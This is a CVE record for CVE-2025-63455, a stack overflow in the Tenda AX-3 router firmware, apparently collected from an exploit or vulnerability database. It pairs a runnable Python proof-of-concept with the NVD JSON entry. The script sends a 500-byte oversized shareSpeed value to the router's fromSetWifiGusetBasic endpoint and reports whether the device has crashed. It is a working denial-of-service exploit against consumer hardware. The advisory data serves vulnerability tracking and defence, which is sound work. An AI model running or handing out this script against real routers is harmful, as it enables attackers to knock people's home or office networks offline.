CVE-2025-63455

import requests # CVE-2025-63455 PoC - Tenda AX-3 Stack Overflow in fromSetWifiGusetBasic # Target: Tenda AX-3 router with firmware v16.03.12.10_CN target_ip = "192.168.0.1" # Default Tenda router IP target_url = f"http://{target_ip}/goform/fromSetWifiGusetBasic" # Generate payload with oversized shareSpeed parameter to trigger stack overflow # The exact overflow length may vary, using 500+ bytes as demonstration overflow_length = 500 malicious_payload = "A" * overflow_length # Construct the exploit request data = { "shareSpeed": malicious_payload, # Other parameters may be needed for the function to process the request "guestEn": "1", "guestSSID": "GuestNetwork", "guestAccess": "0" } try: print(f"[*] Sending exploit request to {target_url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response text: {response.text[:200]}") # Check if the router is still responsive check_url = f"http://{target_ip}/" health_check = requests.get(check_url, timeout=5) if health_check.status_code == 200: print("[-] Router appears to be still responsive") else: print("[+] Router may have crashed or become unresponsive") except requests.exceptions.Timeout: print("[+] Exploit likely successful - Router is not responding (DoS)") except requests.exceptions.ConnectionError: print("[+] Exploit likely successful - Cannot connect to router (DoS)") except Exception as e: print(f"[!] Error: {str(e)}")

{"cve": {"id": "CVE-2025-63455", "sourceIdentifier": "[email protected]", "published": "2025-11-10T17:15:34.803", "lastModified": "2025-11-17T19:07:51.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX-3 v16.03.12.10_CN was discovered to contain a stack overflow via the shareSpeed parameter in the fromSetWifiGusetBasic function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Se descubrió que Tenda AX-3 v16.03.12.10_CN contenía un desbordamiento de pila a través del parámetro shareSpeed en la función fromSetWifiGusetBasic. Esta vulnerabilidad permite a los atacantes provocar una denegación de servicio (DoS) mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.10:*:*:*:*:*:*:*", "matchCriteriaId": "08A2E630-D40C-4ECE-8B4D-BA2482267F3C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-3/6/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}